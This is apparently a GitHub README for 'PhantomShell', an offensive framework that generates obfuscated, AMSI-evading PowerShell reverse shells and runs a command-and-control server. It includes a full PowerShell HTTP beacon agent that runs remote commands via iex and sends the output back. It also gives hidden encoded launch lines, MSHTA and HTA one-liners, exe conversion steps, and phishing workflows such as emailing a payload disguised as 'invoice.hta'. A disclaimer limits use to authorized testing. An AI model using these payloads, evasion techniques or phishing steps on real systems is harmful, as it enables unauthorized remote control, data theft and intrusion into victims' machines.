PhantomShell Core

👻 What is PhantomShell?

PhantomShell is a comprehensive red-team framework designed for authorized penetration testing and adversary simulation. It combines an advanced PowerShell payload generator with a unified Command & Control (C2) infrastructure.

The tool automates the entire red-team workflow:

Generate — Obfuscated, AMSI-evading PowerShell payloads
Deploy — Via multiple delivery formats (PowerShell, CMD, HTA, VBS, MSHTA)
Control — Through a unified C2 server with Web UI and CLI interfaces
Manage — TCP reverse shells and HTTP/S agents simultaneously

🎯 Why PhantomShell?

Feature	PhantomShell	Traditional Tools
Unified C2	✅ TCP + HTTP agents	❌ Separate tools
Multi-layer Encoding	✅ Up to 3 layers	❌ Single layer
Polymorphic Payloads	✅ Random variable names	❌ Static
Multiple Formats	✅ 5+ delivery formats	❌ Limited
Web Dashboard	✅ Real-time session management	❌ CLI only
HTTP Agent Support	✅ Firewall-friendly	❌ TCP only
Payload Hosting	✅ Built-in HTTP server	❌ Manual

🔍 Evasion Capabilities

No tool can guarantee complete evasion. PhantomShell helps bypass signature-based detection but cannot evade all defensive mechanisms.

Technique	What it Evades	Limitations
Variable Renaming	Static signatures	Behavioral detection
Multi-layer Encoding	Shallow analysis	Deep sandboxing
Base64 Obfuscation	Plain-text scanning	Runtime AMSI
Polymorphism	Hash-based detection	AI/Behavioral EDR
IP/Port Hiding	Pattern matching	Network monitoring
HTTP Agent	Firewall rules	SSL inspection

🎯 Maximum Evasion Profile

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -o random -l 3 --enc-b64

This combines:

Random variable names (different every run)
3 layers of encoding
Base64 IP/port hiding
No static signatures

🚀 Key Features

⚡ Payload Generation

✅ Multi-layer PowerShell encoding (1-3 layers)
✅ AMSI-aware payload structure
✅ Polymorphic payload generation (randomized variables)
✅ Base64 obfuscation for IP/port hiding
✅ 5 delivery formats: PowerShell, CMD, HTA, VBS, MSHTA
✅ 3 obfuscation profiles: Minimal, Aggressive, Random
✅ Payload verification before output
✅ Layer round-trip verification

🎮 Command & Control

✅ Unified C2 server supporting TCP and HTTP agents
✅ Web dashboard with real-time session management
✅ CLI operator shell for direct control
✅ Multi-session handling (TCP + HTTP simultaneously)
✅ Session persistence and monitoring
✅ Command queuing for HTTP agents
✅ Real-time logs and event tracking

🎯 Red Team Features

✅ One-command deployment (serve command)
✅ Polymorphic generation (multiple variants)
✅ HTTP payload hosting with download cradles
✅ Session type differentiation (TCP vs HTTP)
✅ Quick commands for common tasks
✅ Command history in Web UI

🏗 Architecture

┌─────────────────────────────────────────────────────────────────┐
│                        TARGET MACHINE                           │
├─────────────────────────────────────────────────────────────────┤
│  ┌─────────────────┐        ┌─────────────────────────────┐     │
│  │  TCP Reverse    │        │  HTTP Agent (Polling)       │     │
│  │  Shell Payload  │        │  - Beacon every 3-5 secs    │     │
│  │  - Interactive  │        │  - Command queuing          │     │
│  │  - Real-time    │        │  - Firewall-friendly        │     │
│  └────────┬────────┘        └─────────────┬───────────────┘     │
│           │                               │                     │
│           │ TCP (4444)                    │ HTTP (8081)         │
│           ▼                               ▼                     │
└─────────────────────────────────────────────────────────────────┘
                           │
                           ▼
┌─────────────────────────────────────────────────────────────────┐
│                   PHANTOMSHELL C2 SERVER                        │
├─────────────────────────────────────────────────────────────────┤
│  ┌─────────────┐  ┌─────────────┐  ┌─────────────────────┐      │
│  │  TCP        │  │  HTTP       │  │  Web UI             │      │
│  │  Listener   │  │  Listener   │  │  - Session manager  │      │
│  │  (4444)     │  │  (8081)     │  │  - Command exec     │      │
│  └─────────────┘  └─────────────┘  │  - Real-time logs   │      │
│                                    └─────────────────────┘      │
│  ┌─────────────────────────────────────────────────────────┐    │
│  │  Unified Session Manager                                │    │
│  │  - TCP sessions                                         │    │
│  │  - HTTP agent sessions                                  │    │
│  │  - Command queuing for HTTP                             │    │
│  └─────────────────────────────────────────────────────────┘    │
│                                                                 │
│  ┌─────────────────────────────────────────────────────────┐    │
│  │  CLI Interface                                          │    │
│  │  - Interactive shell  - Session management              │    │
│  └─────────────────────────────────────────────────────────┘    │
└─────────────────────────────────────────────────────────────────┘

⚙ Installation

No external dependencies required! PhantomShell uses only Python standard library.

# Clone the repository
git clone https://github.com/Red-Parakeet/PhantomShell.git

# Navigate to directory
cd PhantomShell

# Make executables
chmod +x phantomshell.py
chmod +x phantomc2.py

# Verify installation
python3 phantomshell.py --help
python3 phantomc2.py --help

Requirements

Python 3.6+ (any platform)
No additional packages needed
Works on Linux, macOS, and Windows

🚀 Quick Start

Method 1: All-in-One (Recommended)

# One command generates payload AND starts C2 server
python3 phantomshell.py serve -i 10.10.10.5 -p 4444 --host-payload --start-c2 --password RedTeam2026

# Copy the generated payload
# Paste on target machine
# Shell connects back automatically!

Method 2: Separate Steps

Terminal 1 — Start C2 Server

python3 phantomc2.py --port 4444 --http-port 8081 --web-port 8080 --password RedTeam2026

Terminal 2 — Generate Payload

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444

Target — Execute Payload

# Copy the output from Terminal 2 and paste here
powershell -NoP -sta -NonI -W Hidden -enc <payload>

Access Web UI: http://localhost:8080 (or http://10.10.10.5:8080 from other machines)
Password: RedTeam2026

📖 Command Reference

🔹 `revshell` — Generate Standalone Payload

python3 phantomshell.py revshell -i <IP> -p <PORT> [OPTIONS]

Flag	Short	Description	Default
`--attacker-ip`	`-i`	Attacker IP address	Required
`--port`	`-p`	Listening port	Required
`--obf-profile`	`-o`	`minimal` / `aggressive` / `random`	`aggressive`
`--layers`	`-l`	Encoding layers (1-3)	`1`
`--format`	`-f`	Output format	`powershell`
`--enc-b64`		Hide IP/port in base64	Off
`--keep-pwd`		Show current directory in prompt	Off
`--do-not-hide`		Disable hidden window flags	Off
`--verbose`	`-v`	Show decoded payload	Off
`--no-banner`		Hide startup banner	Off

Examples:

# Basic payload
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444

# Maximum evasion
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -o random -l 3 --enc-b64

# HTA phishing payload
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f hta -l 2

# CMD wrapper
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f cmd

# Verbose mode (see obfuscated payload before encoding)
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -v

🔹 `serve` — Generate, Host, and Serve Payload

python3 phantomshell.py serve -i <IP> -p <PORT> [OPTIONS]

Flag	Short	Description	Default
`--attacker-ip`	`-i`	Attacker IP address	Required
`--port`	`-p`	Listening port	Required
`--host`		C2 bind address	`0.0.0.0`
`--host-payload`		Host .ps1 file on HTTP server	Off
`--host-port`		HTTP server port	`8000`
`--filename`		Payload filename	Random
`--start-c2`		Start phantomc2.py automatically	Off
`--http-port`		HTTP agent port for phantomc2.py	`8081`
`--web-port`		Web UI port for phantomc2.py	`8080`
`--password`		Web UI password	`phantomshell`
`--no-cli`		Disable interactive CLI	Off
`--obf-profile`	`-o`	Obfuscation profile	`aggressive`
`--layers`	`-l`	Encoding layers	`1`
`--enc-b64`		Hide IP/port in base64	Off
`--keep-pwd`		Show CWD in prompt	Off
`--do-not-hide`		Disable hidden window flags	Off
`--verbose`	`-v`	Show decoded payload	Off

Example:

# Generate payload + host + start C2 with one command
python3 phantomshell.py serve -i 10.10.10.5 -p 4444 --host-payload --start-c2 --password RedTeam2026 -o random -l 2 --enc-b64

🔹 `polymorph` — Generate Multiple Variants

python3 phantomshell.py polymorph -i <IP> -p <PORT> -n <COUNT>

Flag	Description	Default
`-i`	Attacker IP	Required
`-p`	Listening port	Required
`-n`	Number of variants	`3`
`-l`	Encoding layers	`1`
`--enc-b64`	Hide IP/port	Off
`--keep-pwd`	Show CWD	Off
`--verbose`	Verbose output	Off

Example:

# Generate 5 unique variants
python3 phantomshell.py polymorph -i 10.10.10.5 -p 4444 -n 5

🔹 `c2` — Run C2 Server

python3 phantomc2.py [OPTIONS]

Flag	Description	Default
`--port`	TCP listener port	`4444`
`--http-port`	HTTP agent listener port	`8081`
`--web-port`	Web UI port	`8080`
`--password`	Web UI authentication password	`phantomshell`
`--no-cli`	Disable interactive CLI	Off
`--no-banner`	Hide startup banner	Off

Examples:

# Default setup
python3 phantomc2.py --password MySecretPass123

# Custom ports and password
python3 phantomc2.py --port 5555 --http-port 9090 --web-port 8888 --password SecurePass123

# Headless mode (no CLI)
python3 phantomc2.py --password RedTeam2026 --no-cli

📦 Payload Types & Formats

PowerShell (Default)

Direct execution in PowerShell console.

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444

Output: powershell -NoP -sta -NonI -W Hidden -enc <base64>

CMD Wrapper

Run from Command Prompt.

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f cmd

Output: cmd /c "powershell -NoP -sta -NonI -W Hidden -enc <base64>"

HTA (HTML Application)

Phishing-friendly HTML file.

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f hta -l 2

Output: Complete HTML file with VBScript wrapper

Usage: Save as .hta and email to target

VBS (Visual Basic Script)

For Office macro delivery.

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f vbs

Output: VBScript that runs PowerShell hidden

MSHTA (Microsoft HTML Application)

One-liner for quick execution.

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f mshta

Output: mshta vbscript:CreateObject("WScript.Shell").Run("powershell ...",0,False)(window.close)

🎯 Obfuscation Profiles

Minimal

Fast and readable, minimal obfuscation.

$client → $c
$stream → $st
$bytes → $b
$data → $d

Aggressive (Default)

More aggressive variable renaming.

$client → $xA1
$stream → $xB2
$bytes → $xC3
$sendback → $xE5

Random

Fully randomized variable names, different every run.

$client → $mKpRx
$stream → $zQ6v8A6
$bytes → $hySOJ
$data → $TqRmX9

🧅 Encoding Layers

Layer	Description	Command
1	UTF-16LE → Base64	`-l 1`
2	Base64 wrapped in IEX → UTF-16LE → Base64	`-l 2`
3	Multi-stage decode with variables	`-l 3`

Layer 1:

[System.Convert]::FromBase64String('<base64>')

Layer 2:

IEX([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('<base64>')))

Layer 3:

$_b=[System.Convert]::FromBase64String('<base64>');
$_s=[System.Text.Encoding]::Unicode.GetString($_b);
IEX($_s)

🎮 C2 Server Features

Web Dashboard

Access the Web UI at http://localhost:8080 (or http://<your-ip>:8080 from other machines)

Features:

✅ Live session list with status indicators
✅ Session statistics (Total, Active, Dead, TCP, HTTP)
✅ Interactive terminal with command history
✅ Quick command buttons for common tasks
✅ Real-time logs with color coding
✅ Session type differentiation (TCP vs HTTP)
✅ Copy-paste friendly interface

CLI Interface

Interactive shell for operators:

phantom > help

  sessions              — list all sessions
  interact <id>         — interact with a session
  exec <id> <cmd>       — run single command
  kill <id>             — mark session dead
  prune                 — remove dead sessions
  exit                  — quit C2 server

Example Interaction:

phantom > sessions

  ID   TYPE   IP                USER@HOST                         STATUS   CONNECTED
  ──── ────── ───────────────── ───────────────────────────────── ──────── ────────────────────
  1    tcp    10.10.10.20       admin@DESKTOP-ABC123              ALIVE    14:32:15
  2    http   10.10.10.30       user@WORKSTATION-XYZ              ALIVE    14:35:42

phantom > interact 1

  OK Interacting with #1 (admin@DESKTOP-ABC123) [TCP]
  Type 'back' to return to C2

  PS #1 > whoami
  DESKTOP-ABC123\admin

  PS #1 > ipconfig
  Ethernet adapter Ethernet0:
     IPv4 Address. . . . . . . . . . . : 10.10.10.20
     Subnet Mask . . . . . . . . . . . : 255.255.255.0

🌐 HTTP Agent Deployment

Method 1: PowerShell Script

Save as agent.ps1:

$u='http://10.10.10.5:8081'
$id=[guid]::NewGuid().ToString()
$pl='Windows|'+$env:COMPUTERNAME+'|'+$env:USERNAME
while($true){
    try{
        $c=(iwr -UseBasicParsing ($u+'/beacon?id='+$id+'&platform='+[uri]::EscapeDataString($pl))).Content.Trim()
        if($c){
            $o=try{iex $c 2>&1|Out-String}catch{$_.Exception.Message}
            iwr -UseBasicParsing -Method POST -Uri ($u+'/result?id='+$id) -Body $o|Out-Null
        }
    }catch{}
    Start-Sleep -Seconds (3+(Get-Random -Max 2))
}

Run:

powershell -ExecutionPolicy Bypass -File agent.ps1

Method 2: CMD One-Liner

python3 phantomshell.py revshell -i 10.10.10.5 -p 8081 -f cmd

Paste directly into CMD on target.

🪟 Building Executables

Convert PowerShell scripts to standalone Windows executables.

Step 1: Generate Payload Script

python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f powershell

Step 2: Save as .ps1

Copy the output and save as payload.ps1.

Important: Must use .ps1 extension.

Step 3: Convert to .exe

Use PowerShell to exe/msi Converter (Microsoft Store) or PS2EXE:

# Using PS2EXE (open source)
Install-Module -Name ps2exe -Force
ps2exe -inputFile payload.ps1 -outputFile payload.exe

# Or use GUI tools:
# PowerShell to exe/msi Converter (Microsoft Store)

Step 4: Deploy

The resulting .exe can be run by double-clicking on Windows systems.

🎯 Attack Workflow Examples

Scenario 1: Internal Penetration Test

# 1. Generate and host payload with C2
python3 phantomshell.py serve -i 10.10.10.5 -p 4444 --host-payload --start-c2 --password RedTeam2026

# 2. Copy the download cradle or payload
# 3. Execute on target machine
# 4. Session appears in Web UI/CLI
# 5. Interact and execute commands

Scenario 2: Phishing Campaign

# 1. Generate HTA payload
python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f hta -l 2

# 2. Save as invoice.hta
# 3. Email to target
# 4. Start C2 server
python3 phantomc2.py --password RedTeam2026

# 5. When opened, shell connects back

Scenario 3: Firewall Evasion (HTTP Agent)

# 1. Start C2 with HTTP listener
python3 phantomc2.py --port 4444 --http-port 8081 --web-port 8080 --password RedTeam2026

# 2. Generate HTTP agent one-liner
python3 phantomshell.py revshell -i 10.10.10.5 -p 8081 -f cmd

# 3. Target runs the CMD command
# 4. Agent polls every 3-5 seconds
# 5. Send commands via Web UI or CLI

🛡 Security Considerations

Best Practices

✅ Use HTTPS with SSL/TLS for production
✅ Firewall restrictions on C2 ports
✅ Strong authentication (complex passwords)
✅ Infrastructure rotation (change IPs/ports)
✅ Log monitoring (detect anomalies)
✅ Encrypted communication between agents
✅ Traffic obfuscation to mimic normal traffic

Recommendations

Aspect	Recommendation
C2 Hosting	VPS with firewall rules
Authentication	Strong password + 2FA
Communication	HTTPS with valid certificates
Logging	Centralized log management
Persistence	Multiple C2 fallback addresses

⚠️ Legal Disclaimer

THIS SOFTWARE IS INTENDED ONLY FOR AUTHORIZED CYBERSECURITY TESTING.

PhantomShell is designed for:

✅ Authorized penetration testing
✅ Red team exercises
✅ Security research
✅ Educational purposes

Unauthorized use may violate:

Computer Fraud and Abuse Act (CFAA)
Local and international cybercrime laws
Corporate security policies

By using this tool, you agree to:

Use only on systems you own or have written permission to test
Comply with all applicable laws and regulations
Accept full responsibility for your actions
Hold harmless the authors and contributors

The authors assume NO LIABILITY for misuse or damage caused by this tool.

📄 Copyright

Copyright © 2026 Red Parakeet Security Team. All Rights Reserved.

Author: Red Parakeet Security Team
GitHub: https://github.com/Red-Parakeet
LinkedIn: https://www.linkedin.com/company/red-parakeet-security/
Website: https://www.redparakeet.org

📝 License

PhantomShell is dual-licensed:

Open Source: GNU General Public License v3 - For non-commercial use
Commercial: PhantomShell Commercial License - For enterprise use

👨‍💻 Author

Red Parakeet Security Team
Offensive Security | Red Teaming

GitHub: Red Parakeet
LinkedIn: Red Parakeet
Website: RedParakeetSec

🌟 Support

If PhantomShell helped you, please consider:

⭐ Starring the repository on GitHub
📢 Sharing with fellow security professionals
🐛 Reporting issues or feature requests
🤝 Contributing to the project

📊 Version History

Version	Date	Features
v2.0	2026	Unified C2, HTTP agents, Web UI, All-in-One deployment
v1.0	2025	Initial release, basic payload generation

Built with ❤️ for the security community

Uh oh!

PhantomShell Core

👻 What is PhantomShell?

🎯 Why PhantomShell?

🔍 Evasion Capabilities

🎯 Maximum Evasion Profile

🚀 Key Features

⚡ Payload Generation

🎮 Command & Control

🎯 Red Team Features

🏗 Architecture

⚙ Installation

Requirements

🚀 Quick Start

Method 1: All-in-One (Recommended)

Method 2: Separate Steps

📖 Command Reference

🔹 revshell — Generate Standalone Payload

🔹 serve — Generate, Host, and Serve Payload

🔹 polymorph — Generate Multiple Variants

🔹 c2 — Run C2 Server

📦 Payload Types & Formats

PowerShell (Default)

CMD Wrapper

HTA (HTML Application)

VBS (Visual Basic Script)

MSHTA (Microsoft HTML Application)

🎯 Obfuscation Profiles

Minimal

Aggressive (Default)

Random

🧅 Encoding Layers

🎮 C2 Server Features

Web Dashboard

CLI Interface

🌐 HTTP Agent Deployment

Method 1: PowerShell Script

Method 2: CMD One-Liner

🪟 Building Executables

Step 1: Generate Payload Script

Step 2: Save as .ps1

Step 3: Convert to .exe

Step 4: Deploy

🎯 Attack Workflow Examples

Scenario 1: Internal Penetration Test

Scenario 2: Phishing Campaign

Scenario 3: Firewall Evasion (HTTP Agent)

🛡 Security Considerations

Best Practices

Recommendations

⚠️ Legal Disclaimer

📄 Copyright

📝 License

👨‍💻 Author

🌟 Support

📊 Version History

Uh oh!

Uh oh!

Clone this wiki locally

🔹 `revshell` — Generate Standalone Payload

🔹 `serve` — Generate, Host, and Serve Payload

🔹 `polymorph` — Generate Multiple Variants

🔹 `c2` — Run C2 Server